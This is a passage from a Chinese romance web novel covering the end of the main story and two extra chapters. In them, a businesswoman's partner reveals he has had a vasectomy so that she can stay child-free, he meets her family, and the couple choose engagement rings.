都说近朱者赤、近墨者黑,顾清漪常年和傅珺瑶混迹在一块,性格其实差不太远,恋爱得甜,但不能过腻,她最喜欢的状态就是该激情的时候激情,该有分寸的时候有分寸。 “你呢,你跟沈述白相处得怎么样?有结婚的打算吗?” 傅珺瑶嘴边的弧度僵凝一瞬。 “有矛盾了?”顾清漪点完菜,注意到她的脸色。 傅珺瑶摇头:“我跟他相处得挺好的,不过…我最近满脑子顾虑,感觉再往下走就是结婚,可我好像……没那么想结婚。” 就连他们之前说好的去见家长,也因为两人工作忙一直耽搁。 工作忙确实是一方面,可如果真想见,也不是没时间,只不过傅珺瑶在犹豫而已。 顾清漪沉默片刻,双眸盯着她看了会,语气了然:“是因为恒璟吧。” 亲近如顾清漪,她自然知道恒璟这么多年来的人员结构。总经理以上的高层之中,只有傅珺瑶一个女人,而在傅珺瑶下面,还有傅淮湛和周锦等着她的位置。 她和沈述白结婚确实有好处,可隐患也不是没有,结了婚,没准就会有人想办法让她回归家庭,要是再生个孩子,那她的位置也别想再稳坐了。 傅珺瑶点点头,顿停,又摇摇头:“是,也不全是。” 她先抿了口温水,玻璃杯拿在手里轻晃,透明的水波慢慢荡漾。 一声轻叹跟着鼻息涌出来:“我最主要的顾虑,其实是婚姻给我带来的风险。” “风险?”顾清漪顺着她的话问。 “婚姻说实在点,就是关系和利益捆绑,这些我都不介意,但婚姻需要我承担很多责任和义务,其中最关键的一项就是生育,我的确…没想过生育,我不想冒这个风险。首先是我确实没那么喜欢小孩,其次我承担生育的风险后结果也不是我想要的,我不想为难自己,也不想委屈自己。” 在和沈述白开始前,她甚至没想过结婚,她以为没人能符合自己的高标准。 和他开始之后,她虽然开心,但担心的东西也更多。 “他其实试探过我几次,而且他之前也说了,说想跟我在一起一辈子。我是很开心,我也很爱他,想和他在一起,可我不想让爱捆绑我、束缚我,我不想因为婚姻而改变我自己。” 顾清漪听明白了,她是在纠结。 “你没跟他说过你这些心思?” 她摇头。 “是怕自己说的太直白他接受不了?” 傅珺瑶短暂怔忪,重重点头:“他这人吧,虽然挺能扛事,但有的时候也很情绪化,之前在洱南我们分手,我说了重话,他哭得特别厉害,我怕就这么跟他说,他心里会不好受。” 她一直在纠结,纠结怎么才能把她的顾虑委婉说出口,怎么让她提的条件,能不那么‘商业化’。 顾虑的背后,也是她担心他乱想。 桌上的菜齐齐摆好,顾清漪夹了块挂满汤汁的鲈鱼送到她嘴边,满脸轻松,似乎完全不觉得这事多大。 “珺珺,聪慧如你,怎么也会在这转不过弯?” “嗯?”傅珺瑶耸耸肩。 “你都说了他试探过你,没得到结果,他不也会想办法吗?而且恋爱不能只有顺心事的,你担心他不好受这不错,可如果你一直担心、一直顾虑,问 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还有他之前说的:只要成立关系的双方愿意好好谋划,利是一定能大于弊的。 男人眸中的柔和逐渐消散在她的沉默中,隐隐严肃的认真缓慢上爬。 他主动伸手,抽走她只喝了一口的果汁,又牢牢握紧她的手。 “有事想跟我说?” 傅珺瑶心尖一震,心跳转瞬加速,嘴唇抿紧,松懈,再抿紧。 眼皮轻垂,半掩那两颗黑色眸珠,下巴狠狠内收几次。 “我想跟你聊聊结婚的事。”简简单单的几个字,她飞速从嘴里吐出,生怕慢一点,这句话就说不完整。 捏着她手的大掌无意识抽了抽。 “结婚?”男人不确定地重复了句。 傅珺瑶沉沉嗯了声,悄然避开他的视线:“按照我们现在的发展,我想或早或晚,我们都会结婚的,之前你也说过,想和我永远在一起,我也很愿意,和你往后发展。” 话言至此,傅珺瑶的手有些抖,可细细感知,又好像是他的手在颤。 她鼓足气,不想打退堂鼓:“但是如果真要结婚,我个人…可能存在点顾虑,我想跟你说清楚、讲明白。” 她稍稍谨慎地挪过视线,和他交汇。 他没说话,唇角微弯,轻轻点了点下巴。 傅珺瑶再度垂下眼皮,视线定格在他的手指:“是……关于生育这方面,其实我是想丁克的。生育对我来说,一个是身体损伤太重,再一个是会影响我的事业,恒璟的情况,你应该或多或少都有了解,我现在拥有的话语权还不算大,实权也远远不够,只要稍加不注意,这个位置没准就是别人的了。” “我的确…的确非常看重我捏在手里的权力和金钱,也不想有任何风险失去这些东西,并且我还想要更多,我想接着往上爬,而想要达到这个目的,一定是需要足够时间的。再一个就是我确实没那么喜欢小孩,也确实一直都没想过要生孩子。” 她当然尊重新生,也很敬佩那些生育的女性,只是每个人都有自己的选择,她既更看重权力和金钱,就必须得牺牲掉其他的东西。 或许她能做的,就是拥有更大的权力,去改变规则、制定新的规则,然后去为那些经历过生育的女性创造更多、更公平的就业机会,这远远比她生育的价值要大得多。站在她的角度,这才是她回报社会最好的一种方式。 “这就是我最大的顾虑,也是我认为婚姻会带给我的最大的风险,但我就只是想和你说清楚,并没有说和你结婚不好,不是…就是……” 说到后面,傅珺瑶舌头有些打结。 好像是这个意思,但又好像说得更容易让他多想。 就连暂时被她压下去的顾虑也重新漫出来,弄得她手足无措。 “珺珺。”他按下她乱绕的手。 傅珺瑶的话止在嘴边。 沈述白面色没有半点僵凝,泰然笑笑,捞过电脑边的手机,翻出来什么东西,直接递到她跟前。 门诊病历这四个字最先入眼。 傅珺瑶眉心微蹙,目光再下移,瞳孔狠狠缩紧,呼吸骤停,几乎立刻转头看他。 “你……什么时候?你都没告诉我。” 第一行的主诉上清清楚楚写着:要求行输/精/管结扎。 他居然…… “最近工作都很忙,我也是上周抽空去做的手术,本来就是打算等咱们不那么忙了再跟你说的。” 沈述白脸色如常,仿佛这只是件不值得在意的小事。 傅珺瑶心脏抽了两下,眼前的手机屏幕跟着乱晃,那张电子病历模糊不清。 他抽走手机,重新握紧她的手,另一只手又绕到她后脑勺,顺着发丝轻抚。 “珺珺,其实我和你的想法一样,就像你之前说的,恒璟和启行错位了二十多年的发展,这是我们共同的遗憾,局势所定,那我们就专心把这失去的二十多年追回来。” 傅珺瑶眉头下撇,颊侧的肌肉被排风口的凉气吹得微微发僵,凉气渗入,围积在胸腔,刺激得呼吸道直抽搐。 眼角泛疼,只能盈出滚烫来抵抗凉意。 他温柔弯唇,继续道:“人这一辈子,也不一定非要生育,爱情也不是非要靠孩子来保鲜、来延续。珺珺,我爱你,无论我们未来还有多少年,我想这个事实不会因为任何事而发生改变。我更希望,等我们事业拼够了,我们能牵着彼此的手,去我们没去过的世界的各个城市,一起去看那些稀罕独特的美景,那才叫不负此生。” 傅珺瑶慢慢吸了口气,分了几次才呼出来。 “那天你说,一个麻烦的项目,看似诱人,底下却藏着难以预计的风险,我想换到婚姻里,也是一样。其实不仅是你,我也不想这个项目里出现第三方,说到底是因为有我们,才会有这个‘项目’,我好不容易才和你有那样一番经历,好不容易才和你在一起,好不容易有那份‘光明正大’,我不想有任何风险失去你。” “所以不是你的顾虑,是我的请求,如果你真的愿意和我结婚,就答应我,我们一起拼事业、一起生活、一起做很多很多事,就只是我们,只是你和我,这个项目里我的合作方除了你,谁都不行,不能多加,也不能缺少。” 最后一个字从他嘴里说出时,傅珺瑶眼眶里的滚烫完全兜不住,一股脑的冒出来全力抵抗凉意。 她胸廓微微抽搐,冲上鼻腔的酸意有些顶不住,她俯身,额头抵在他肩口,身体顺势下滑,整个人扑进他怀里。 泪水转瞬浸湿他的衬衫,傅珺瑶一时忍不住,直接哭出声。 她一向自诩不是个爱掉眼泪的人,从小到大几乎不哭,就连在被爷爷压抑时也没哭过。可几次为了他,情绪抵达阈值,不受她控制。 什么不是她的顾虑,是他的请求,他怎么可能不知道她在恒璟的处境,这么说不过是想让她不要内耗纠结罢了。 就像顾清漪说的那样,他试探过没结果,就会想办法,如果他真的爱她,也一定会为了她考虑。 可她没想到他还是这样。 不鸣则已,一鸣惊人。 “珺珺,你这样为我哭,我可要得意好久了。” 男人的声音轻缓入耳,傅珺瑶猛地吸鼻涕,拳头不偏不倚捶向他腰腹。 哪怕哭腔明显,气势不足,嘴上也绝不软弱:“你就很烦!真的烦死你了!” “没事,那我再多爱你点,真的爱死你了!” “好烦!” 傅珺瑶继续捶他,可没一会,又绕到他腰后,双臂紧紧缠上,半分力都不愿意松。 - 深夜,窗外的枝桠散漫拂动,擦出簌簌声响。 圆月高挂,晕开皎洁光晕,却被紧合的窗帘严实挡在窗外。 房间里只亮着盏暗灯,傅珺瑶以熟悉的姿势枕在沈述白胳膊上,身影重叠,两人都没什么睡意。 “你这个手术之后要忌口吗?有没有什么不能吃的?” 傅珺瑶刚刚简单查了一下,只看到需要禁/欲两周,然后注意清洁。 “没什么特别需要注意的,也没什么不能吃的,我恢复得也挺好的,本来就是个小手术而已。” 男人依旧回答得漫不经心。 甚至主动绕开话题:“傅小姐,你刚刚可是跟我说聊结婚的。咱们工作也忙的差不多了,你什么时候给我开个后门,让我名正言顺去拜访拜访未来的家人,嗯?” 之前说好的,一直都没来得及落定。 “那不然就周日呗,我哥周日回傅宅,基本都在。” 沈述白思忖两秒:“好,那说好周日,就不能反悔了?” “谁反悔了?我要真想反悔,你就不会躺我床上了。” 傅珺瑶知道他在问什么。 “那等我去了傅宅,你也跟我回沈宅吃个饭,好不好?” “好啊,”傅珺瑶答应得坦坦荡荡,“我下周不怎么忙,都有空,你安排好时间告诉我。” 男人勾紧胳膊,脸贴过来:“没问题。” “那我现在是不是能先预支点东西?” “你不是得禁欲两周吗,这还不到一周呢。”傅珺瑶以为他想做。 “……我说的不是这个。” “那你要什么?” “你叫我声老公。” “……” 这人真的是…… 不过说起来,她一次都没叫过。 “有人之前说当我老公倒大霉来着呢。”她故意吊着他。 他手臂缠得更紧:“那有人还说过这辈子只想跟你在一起呢。” “那有人还说不想跟我扯上关系呢。” “那有人已经跟你扯上关系了,而且不仅想扯上,还想系牢。” “……肉麻!”傅珺瑶轻嗤,唇角却忍不住上弯。 “叫一声,我想听。” “……不要。” “就一声,真的想听,老婆。” “……” “老婆……”他的语气到后面越来越黏糊,喷洒出来的热气尽数灌到她耳朵里,腻痒得受不了。 “好了好了好了。”傅珺瑶及时喊停,干脆完全侧过身来对着他。 黑眸半掩在昏暗的光线里,傅珺瑶直直对准他的视线,眸中多了几分认真。 “沈述白。” 男人嗯了声。 傅珺瑶沉沉气,喉嗓轻咽,语气郑重:“既然话都说到这里,我想先认真跟你说说心里话。” 那双褐眸稍微瞪大,迎入光线,里头的温柔暂时退至角落,被带着几分严肃的正经占了上风。 “在恋爱方面,我以前的确没什么经验,也确实没有很强烈的情感需求。”傅珺瑶不急不缓,目光始终不移。 甚至慢慢扣紧他的手:“可我现在想清楚、想明白,我需要你,我想和你在一起,也想和你做很多事,想和你有更深层的共鸣和交流,更想和你继续往下走。” 每一个字结实混入黑夜,点燃潜伏的火星,烧干烧透之后,里头的情愫无处可藏。 不仅是褐眸,那颗黑色耳钉也被光线浸透。 “就像当初在洱南我们承诺过彼此的那样,不管是现在还是未来,你都是我老公,我也是你老婆。” “我们结婚吧。” “老公。” 话音落下的那一瞬,那两颗深褐色的眸珠狠狠缩紧,颤动明显。 靠近的呼吸也降频。 “真的确定…不再犹豫了?”他压着声,语气里尚留有一丝试探。 傅珺瑶抿唇笑了笑,攀上他的脖颈,毫不犹豫地吻上他。 还需要犹豫什么呢? 人生在世,幸得知己,幸得知己是爱人。 她需要的一切,他都能满足;她顾虑的一切,他能无声消解;她迟疑,他也愿意等待。 这就是她最满意的关系。 不需要犹豫了。 他曾给了她最美好的乌托邦,现在,她也愿意让他走进她的不朽城。 她想和他一起,得到想得到的一切。 屋内,热吻缠绵,精神契合,灵魂不朽。 窗外,树影摇晃,清晖皎洁,长空不朽。 【正文完】 84. 番外1 【见家长】 周日晚上,傅珺瑶开车,带着沈述白回了傅宅。 “我都说了吃个便饭,你穿这么正式,多严肃啊?” 沈述白穿的还是她给他定制的那套西装。 经典的白衬衫内衬深棕色格纹马甲,领口系同色系领带,中下段收至铂金领带夹,外套深棕色格纹西装,胸口的手帕整整齐齐叠好摆放,袖扣是跟她的情侣款。 和他平常那些纯商务精英风西装很不一样,她给他定制的这套是英伦绅士风。 配上那颗黑玛瑙,也是别有一番韵味。 傅珺瑶嘴上那么说着,车在十字路口停下时还是忍不住多看他几眼。 “吃的虽然是便饭,但人不能随便。”他的声音还算沉静。 手却已经扒下头顶的挡板,对着镜子拨弄头发,生怕掉下来一根。 傅珺瑶连声嗤笑:“你不用紧张,我妈妈和我爸爸很好说话的,我爷爷么…反正不会吃了你,我哥他也没理由为难你。” “我没紧张。” 男人清清嗓,漫不经心地推上挡板。 傅珺瑶嗯了声,顺着他的话:“好,不紧张。” 黑色奔驰穿梭过繁华的都市街道,驶向别墅区。 大院门口的保安见傅珺瑶回来,往里头报备了声。 车开到宅邸门口时,别墅大门敞开,吴阿姨站在那笑脸候着。 “吴阿姨。”傅珺瑶打了声招呼,下车帮沈述白拿准备好的礼品,又悄声问:“我爷爷今天心情还好吧?” 吴阿姨唇边笑意不减,压低声音在她耳边说悄悄话:“好着呢!老爷子今天还在房间里跟秦女士和大少爷说话呢,说风波过去,也该让珺珺和沈二如愿了。” 傅珺瑶眉头轻挑,瞥了眼还在后备箱的男人。 “好,您先进去吧,帮我泡壶铁观音。” “没问题。” - “爷爷,妈妈、爸爸,哥,我们回来了。” 傅珺瑶挽着沈述白的胳膊进屋。 “傅爷爷好,李阿姨、傅伯伯好,淮湛哥好。” “珺珺。”李茗蕤依然是最先站起来的人,素净柔和的脸上沁满欣笑。 “述白,来了就快过来坐吧。” 傅臣北跟着起身,上前几步,目光在沈述白身上停了几秒,原本平静的脸上多出几分笑:“来就来还带这么多东西做什么?你们先来坐会,饭还没好。” 沈述白稍微躬腰,唇边漾开礼貌和煦的笑,还没来得及开口,另一侧的傅淮湛突然站出来。 “沈总今天这身穿的倒是跟花孔雀似的,咱们家珺珺可不喜欢这样的男人。” “……” “……” “瞎说什么呢?”李茗蕤悄然剜他眼,小声警告。 傅珺瑶也不知道傅淮湛这是哪一出,轻撇撇解释:“这身是我给他买的。” “哟,连衣服都得珺珺买了?难道沈总打算以后让珺珺伺候你?”傅淮湛再次嗤哼。 老爷子坐在沙发上迟迟没动,一双灰眸悄然瞥过来眼,在沈述白身上停了两秒,又移回去。 “……” 傅珺瑶瘪了瘪唇,轻轻睨过傅淮湛一眼,刚打算开口解释,被沈述白拦下。 他嘴边的笑重新铺开来,柔和的嗓音缓缓晕开:“是我平时的穿衣风格太过单一,又不想把职场那股古板气带过来,所以才拜托珺珺帮我选了套合适的衣服。” “哎呀好了好了,”李茗蕤把傅淮湛推至一侧:“别干站着了,过来过来。” 沈述白拿着准备好的见面礼上前。 “傅爷爷,听说您早年很喜欢万宝龙的钢笔,早些年您签下和启行的第一份合同就是用的那支钢笔,可惜后面不小心遗失,我也是一时碰运,收到了支初代大文豪,是和当初您的那支一样的海明威限定款,希望您能喜欢。” 老爷子微微一愣,灰眸幽幽扫过他眼,接下干净无划痕的钢笔盒。 橙色笔盒上侧一个简单黑框,正中简洁印着海明威签名。 打开之后,橙色的树脂笔杆最先映入眼帘,黑色笔帽安分扣紧,上头海明威的签名只稍微添彩,看上去低调又沉稳。 老爷子灰白的眉头一抽,眼底闪过丝诧异,再次抬眸,胸廓倏然往外顶了顶。他也没把钢笔拿出来,慢慢合上笔盒,叫了声吴阿姨:“茶水还没准备好?” 傅珺瑶暗暗松了口气,朝沈述白递去个眼神。 “李阿姨,这个是海德格尔GA全集单册特装版,听说您一直研究德国哲学方向,希望这些能对您的研究有帮助。” 李茗蕤脸上的笑很快收不住:“真是有心了,全集都给我弄来了。” “还有这个是我个人读《理想国》写的一点手记,听珺珺说您很喜欢《理想国》,我之前也碰巧接触过一点哲学,对这方面也一直有兴趣,如果写的不好还希望李教授不要嫌弃。” 沈述白是专门去买了人文社科专用的方格笔记本,写完之后又撕下来胶装成册,看上去干净又整洁,封面上是他手写的几个大字:读《理想国》手记,笔翼张弛有度。说的通俗点,就是老师看一眼会喜欢的字迹。 傅珺瑶视线跟着移到手记,黑眸一瞬瞪大。 他什么时候写的?居然还专门写了手记?! “哎哟,”李茗蕤眼底迸出点亮光,稍稍讶然,又藏不住的开心:“那敢情好啊,我之前还一直可惜家里没个懂哲学的,以后多来啊,我绝对欢迎!” “一定。” 再转身,朝向傅臣北。 “傅伯伯,您常年从事高脑力、体力劳动,精神总是需要高度集中,这富森红土沉香最适合您,手串方便您常日携带,线香也能随时点着。” 傅臣北接过东西,满意点头,“我倒是正想弄串来戴戴,有心了。” 沈述白摇头笑笑。 一直冷眼旁观的傅淮湛掀了掀唇,瞥了眼沈述白手里最后的礼物,轻哼一声。 “淮湛哥,听说你平常很喜欢摄影留念,这个是徕卡M11M,镜头都配齐了,希望你喜欢。” 傅淮湛盯着他递来的相机盒,没急着接:“你倒是挺会投机取巧。” 前阵子他的徕卡撞坏了,他还没来得及去买新的。 “哥。”傅珺瑶小声暗示。 傅淮湛充耳不闻,还是不肯接。 沈述白泰然弯唇,语气坦荡:“我也只是提前做了点功课,不想辜负珺珺的选择和期待,况且如果不能做的妥帖,我也实在是没有足够的底气踏进傅宅的门。” 傅淮湛嗤出声:“漂亮话谁不会说?踏进傅宅的门你是这样,谁知道你出去又是怎样?” “哥,你干嘛?”傅珺瑶靠上前拍了下傅淮湛的胳膊,觉得他的话实在不好听。 傅淮湛努努嘴,一双冷眸抓着沈述白不放。 沈述白面色不改,看不出一点尴尬,依然从善如流:“如果不能做到表里合一,肯定也是不够格被珺珺选择的。” “听见没有?”傅珺瑶嘴角弯了弯,又连着拍了两下傅淮湛。 傅淮湛眉眼间盘绕的不屑和审视并没有就此消散,反而从喉间挤出声嘁哼。 后面的话没来得及出口,率先被声低沉的声音拦截:“行了。” 两个字带着足够的威严落下,傅淮湛谨慎地瞧了眼主位的老人,不自觉噤声。 “珺珺,你赶紧带着沈二过来坐下,从进门都站了多久了。” 话音落下时,吴阿姨端着滚热的茶水过来,一一在人前摆好。 “来了!”傅珺瑶很快接话,挽入沈述白的臂弯,带着他到老爷子旁侧坐下,面朝李茗蕤和傅臣北。 单人沙发上的傅淮湛把相机盒扔到一边,双臂端起,再度睨向沈述白。 只是迫于老爷子的压制,他也只是敢怒不敢言。 “你们俩自己怎么打算的,有规划吗?”老爷子端着茶水轻抿了口,语气轻飘飘的,可慢慢落下来之后,又有些沉,沉的人稍稍喘不过气。 “我们打算结婚。”傅珺瑶直言。 “这么迫不及待?珺珺,他逼你了?!”傅淮湛瞬间坐不住,也顾不上老爷子,抬声质问。 “……” “……” 傅珺瑶实在不知道傅淮湛今晚抽什么风,就算之前她跟沈述白之间有阻碍因素,现在不都没了么?他在这阻碍个什么劲? “没有,结婚是我提的,感情到位了想结就结啊,再说了咱们两家联姻有什么不好?”傅珺瑶反驳,又朝向老爷子:“爷爷,您说是不是?” 老爷子轻扫她眼,没答,苍老的指腹在胡茬上绕过一圈,鼻翼翕动,不慌不忙沉了口气:“联姻的事不着急,今晚只是顿便饭。” “……”傅珺瑶茫然眨眸。 正欲辩驳,沈述白悄然握紧她的手,唇角上挑,笑意从温润的眸中盈出来:“您说的是。我奶奶和爷爷前不久也提起想来拜访您,只是我那会还没通过珺珺的考验,也担心唐突打扰到您。” 傅珺瑶抿唇,和对侧的母亲父亲对视一眼,又悄然望向老爷子。 老爷子厉眸微垂,稍凛的唇角忽然往两边扯了扯,坦露几分笑:“哪有什么唐突不唐突的,你们俩不是在洱南就在一块了?既然有想法,早点结婚,也不是什么坏事。” 傅珺瑶暗暗松口气,被握着的手翻转,和沈述白十指相扣。 沈述白轻点下巴:“我明白了。” - 整顿饭的氛围还算不错,沈述白的“投其所好”也很受几个长辈欢心。 除了傅淮湛。 晚饭后,几个小辈陪着长辈聊了会天,然后一起离开。 “珺珺,今天我顺路,送你们回去,你在前面开车,让他坐我的车。”傅淮湛把徕卡扔进车里,又挡在两人中间。 “……”傅珺瑶努努嘴:“你少来,别浪费那个时间绕一趟了。” “我说顺路就顺路,你要是不让我送,我也可以直接住你那去。” “……” “没事,就听你哥哥的。”沈述白拍了拍她的胳膊,朝她递来个安心的浅笑。 傅珺瑶目光在两人身上短暂停留,迟疑片刻,由着他们了。 反正总不会打起来。 傅淮湛爱绕就绕吧。 宽敞繁华的都市街道,黑色迈巴赫紧跟在黑色大奔后边,不疾不徐融入车流。 暖黄的灯光沁着月色挥洒,为喧闹的夜市添了层朦胧的氛围感。 迈巴赫车窗内的氛围却和外头的热闹喧嚣截然不同,冷硬干巴,甚至带了点锐刺,让车内吸进鼻腔的空气都结实刮在黏膜上,微微发疼。 “沈述白,你不适合珺珺。”傅淮湛直接丢出这么一句。 沈述白没什么反应,脖颈不偏不倚,视线直直地望着前方,悠悠滚动的车轮转折千百次,倒背如流的车牌在眼底快要虚焦。 车内沉默片刻,傅淮湛又补充完后半句:“谈恋爱谈谈就算了,结婚,你根本配不上珺珺。” 他的语气裹着排风口出来的凉意,凝成无数冰碴,毫不留情地往沈述白身上砸。 “珺珺从小就聪明,又有天赋,还肯努力,这么多年在傅家、在恒璟,她凭她自己的本事往上走,因为我的个人问题,她也在爷爷那吃了不少苦,她好不容易才走到今天,跟你结婚,根本不是一种好的选择。” 傅淮湛斜睨了他眼,音色更沉:“我爷爷松口是他看重联姻,可不联姻也丝毫没有坏处,你如果真的爱珺珺,就不要用婚姻来绑着她!她不是能被婚姻绑住的人,我劝你也识相点,不要来提亲,这根本看似是帮她,实际反而会害了她!” 傅淮湛连着长篇大段输出,捏着方向盘的手越收越紧,突出来的骨节卡白,手背的皮肤绷紧,青筋暴出。 又是长达几十秒的沉默。 沈述白仍然维持着原有的姿势不动,只有搁在腿上的一双手缓慢交叠,拇指摁在虎口,指腹前端的血色渐退。 “可前阵子,你撮合了珺珺和林逸深。”他的喉结终于滚动,慢吞吞挤出这句话。 “那又怎样?” “虽说人外有人,这个世界上还有很多比我出彩的男人,可林逸深,不管是能力、资历、名利,甚至是外表,我没有一点逊过他。” 沈述白深吸了口气,眼睑上抬,褐眸始终盯着前方的车:“更何况,我能给珺珺的爱和名利,绝对远远多于林逸深。” “……”傅淮湛剑眉紧蹙,轻啧了一声。 想要开口反驳,沈述白又抢了先机。 “我明白。” “我明白你担心的是什么。” 沈述白的手松开,鼻腔里的气息也慢慢懈出来。 傅淮湛猛地踩了刹车—— 前面是红灯,他差点追尾傅珺瑶。 沈述白身体往前顿了下,面不改色,继续道:“首先,当初在洱南,我就做好打算,只会和珺珺在一起,回来之后我也一直在想办法排除我们之间的阻碍,更别说我们之间的阻碍是个天大的误会。” “其次,珺珺的事业,我很清楚,我也知道她在一个没有硝烟却危机四伏的战场里,恒璟的事我没办法插手,唯一能做的,就是全力支持她,给她我能给的一切。” 傅淮湛绷直的背脊松软下去,被身后的座椅稳稳托住,他冷嗤一声:“说得好听。” “前不久我去做了结/扎手术。” 傅淮湛骤然坐直,浑身的肌肉再次紧绷,猛然转头,视线诧异甩过来,瞳仁缩紧。 沈述白轻轻一笑:“如果和我结婚会动摇她的地位,那这个婚姻关系就会是累赘,这不是她想要的,更不是我想要的。所以你大可放心,那些风险都不存在。” 傅淮湛顾虑的,不过是傅珺瑶和傅家。 一担心沈述白对她的感情,二担心沈述白用婚姻来捆绑、限制傅珺瑶。 在这个关头,傅珺瑶结了婚,如果要生孩子,时间少说耽误一两年,他一个人斗不过周董,万一被周锦钻了空子,傅家的根基就动摇了。 他当初选择把林逸深弄来,也是考虑过这方面。林家势力不如傅家,话语权始终在他们这边,可沈家就不一样了,不好拿捏,他不能不忌惮。 只是他没想到沈述白居然肯做到这个地步。 车后的喇叭声急促撞进来,傅淮湛匆忙从错愕的情绪里抽离,踩了油门。 “珺珺知道吗?”他问。 “知道。” “你家里人知道吗?他们同意?!” “知道,同意。” 傅淮湛有些说不出话来。 黑色迈巴赫跟着黑色大奔驶入停车场,暖白的光线横在顶上,完完全全照亮前方的路。 迈巴赫最后停在大奔旁侧。 傅珺瑶下了车,朝他们过来。 沈述白手扒在门把上,低声说了句:“我会用切切实实的行动来证明我对她的爱,所以,你放心吧。” “大哥。” “……” 傅淮湛盯着走近的人影,迅速收回紧绷的眉色,降下车窗。 “要不要上去坐坐,喝点东西再走?”傅珺瑶凑过来问。 傅淮湛晃了晃下巴:“不了,下次吧。” “行,那你路上注意安全。” 傅淮湛嗯了声,目光斜扫过她身边的男人,微凛的眸色被挡在上升的玻璃窗内。 “我哥没为难你吧?”傅珺瑶看着驶远的迈巴赫,勾着沈述白进了电梯。 沈述白自然而然搂过她的腰,眸中柔和的笑意跟着绵延出来。 “没有。” “那你们说什么了?” “他就说…让我一定要对你好,不然就饶不了我。” “就没了?” “就没了。” “那就好。” 沈述白视线停在她脸上,嘴边的弧度收敛几分,忽然把她揽入怀中。 “干嘛?” 他俯身,贴着她的额头:“没事,就想抱抱你。” 傅珺瑶自然不介意,顺势环着他的腰。 “沈总今晚表现不错,我挺满意的。” “那有什么奖励吗?”男人的音调轻抬,透着丝熟悉的不正经。 “……你还没过禁/欲期呢。”傅珺瑶脸颊稍热。 “再过两天就可以了,你可以给我延迟发放。” “……那就一次。” “傅总也太小气了。” “……那你要几次?” “傅爷爷、李阿姨、傅伯伯、你哥哥,当然是四次。” “你……” “哦还有你,你刚刚说很满意,那你在我心里的分量可是最重的,还是满意程度,那肯定是得算个六次,加在一起刚好十次。” “十次?!”傅珺瑶立刻从他怀里挣脱。 “这事多了也伤身好不好?”傅珺瑶真是永远都猜不透他的路数。 沈述白又把人重新勾进怀里:“我们可以展开拉锯战,又不是非要一天,嗯?” 傅珺瑶这才明白他的意思,“嘁”了声:“谁要跟你拉锯战。” “当然是对我挺满意的傅总。” 傅珺瑶象征性挣扎两下,又靠在他肩口:“烦人得你。” - 【求婚】 傅珺瑶跟着沈述白回沈宅见过家长之后,沈女士也和安董一起再次登门傅宅,跟傅老爷子商谈家族联姻的事。 苏俪嫀和沈毅安这边也主动约过李茗蕤和傅臣北出来吃饭,正式提亲。 几方相谈甚欢,沈女士、傅老爷子和安董问过傅珺瑶和沈述白的意见之后,替两人选了个黄道吉日,举办订婚宴。 这件大事也算是落定,傅珺瑶彻底安心,无虑投身于工作。 公共场合,她和沈述白除了工作往来,几乎一改往日的剑拔弩张、针锋相对,变得低调起来。 偶有人看到两人同时进出傅珺瑶的公寓,也始终不见亲密景象,甚至有传,傅沈两家仍存隔阂,两人联姻指不定又会掀起新的腥风血雨。 这些傅珺瑶都当笑话看过去了。 她自己的生活,别人没必要知道得那么清楚。 自从沈述白禁/欲期过了之后,她也开始肆无忌惮起来。工作日两人就抽那么一两天做,一到周末,要么回公寓,要么去独栋别墅,开展他俩的“拉锯战”,致力于解锁公寓和独栋别墅的新地图,以及她和他的新关卡。 日子算得上自由自在,更称得上蜜里调油。 那天晚上,两人才解锁了沈述白在公寓新置的双人摇椅这个新地图,傅珺瑶趴在他身上,暂时舍不得离开。 偌大的客厅内,靠近阳台的窗帘紧合,头顶的吊灯折出略微刺眼的光芒,照的皮肤上沁出的层薄汗无处可藏。 两道急促交错的呼吸声渐渐有了平息的趋势,沈述白的手从她背脊下移,搭在她左手背,拇指和食指又忽然捏住她的中指,绕圈滑动。 “沈总是想送我戒指了吗?”傅珺瑶耳根贴在他胸口,那强有力又稍微急促的心跳突突冲进耳膜,慢慢消解着她体内的酸意。 男人愣了几秒,浅笑:“我们订婚,肯定需要对戒的。” “行啊,明天去看看有没有喜欢的款,或者直接定制。”傅珺瑶干脆道。 沈述白把她的手扣紧:“好啊。” - 傅珺瑶说好要看对戒,也不拖沓,隔天吃完午餐就和沈述白一起出门。 傅珺瑶原本打算随心逛逛,找符合眼缘的。可沈述白明显是有备而来,扣着她的手,带她直奔那几家有名的奢侈品店。 “你不会已经看好了吧?”傅珺瑶问这话时,人已经站在尚美的展柜前。 “是有很满意的一款,看看喜不喜欢。” 沈述白和展柜的人打过招呼,那对白金对戒已经拿出来。 BeedeChaumet白金镶钻蜂巢戒指。 男戒是素圈环,内里镶了一颗小圆钻。女戒沿着圈环间隔镶嵌9颗钻石。宽度4mm,这对钻戒最特殊的是六边形的蜂巢结构,环环相扣、绵延延伸,低调又独特。 店员解释,说蜜蜂是她们品牌最重要的标志之一,早在拿破仑时期,蜜蜂也被选为皇/权象征,第一层寓意就是崇高的地位和荣耀。加之自然界中,蜜蜂象征共同经营和甜蜜,寓意婚姻生活美满,再有她们独特的蜂巢造型,也代表着共筑爱巢、彼此守护。 这款对戒在市面上并不常见,也不容易和别人撞型,属于既隐形又奢华的那一类。 傅珺瑶听完,心底已经了然。 选到这款,他应该花了不少心思。 “还有玫瑰金的,不过我觉得你会喜欢白金。”沈述白的视线转过来,笃定的眸光里暗藏一丝试探。 傅珺瑶轻笑,心口跟着冒出几缕愈发明显的甜丝,问过旁侧的店员尺寸之后,把手伸出去,“那我给你个面子试试。” 沈述白唇角浅勾,把女戒慢慢套进她长指,52号的尺寸不大不小,对傅珺瑶来说刚刚好。 “怎么样,喜欢吗?”沈述白顺势捏着她的指腹,没有松开。 傅珺瑶眼眸微垂,盯着套在中指上的圆环。 心脏慢慢往胸壁上撞了一下,力道很重,重到足以让热流涌向指尖。 钻石在耀闪的灯光下微微晃眼,光芒刺进眼球,激起那段…短暂又美好的回忆。 “答应我吧,老婆?” “你就是我老婆。” “因为我在意你。” “你想做什么尽管去做,我一定会给足你安全感。” 唇边渐渐勾起浅笑,她抬眸,和男人对视。 “喜欢,我很喜欢。” 沈述白满意点头,手暂时松开她,又往她跟前伸。 傅珺瑶了然轻哼,把那枚男戒抽出来给他戴上:“沈总,你下次直接说你安排好就完了,不用总是试探我,嗯?” 反正他永远都能挑到她心坎上。 沈述白没接话,重新捏起她的手:“尺寸确定合适吗?直接定下这对?” “合适,就这对。” “好。” 沈述白把卡递给店员,又对店员说了句:“麻烦帮我安排好。” 店员目光轻闪,弯唇:“您放心。” 从试戴到签单,前前后后不过二十分钟,傅珺瑶很喜欢这种高效率办事。 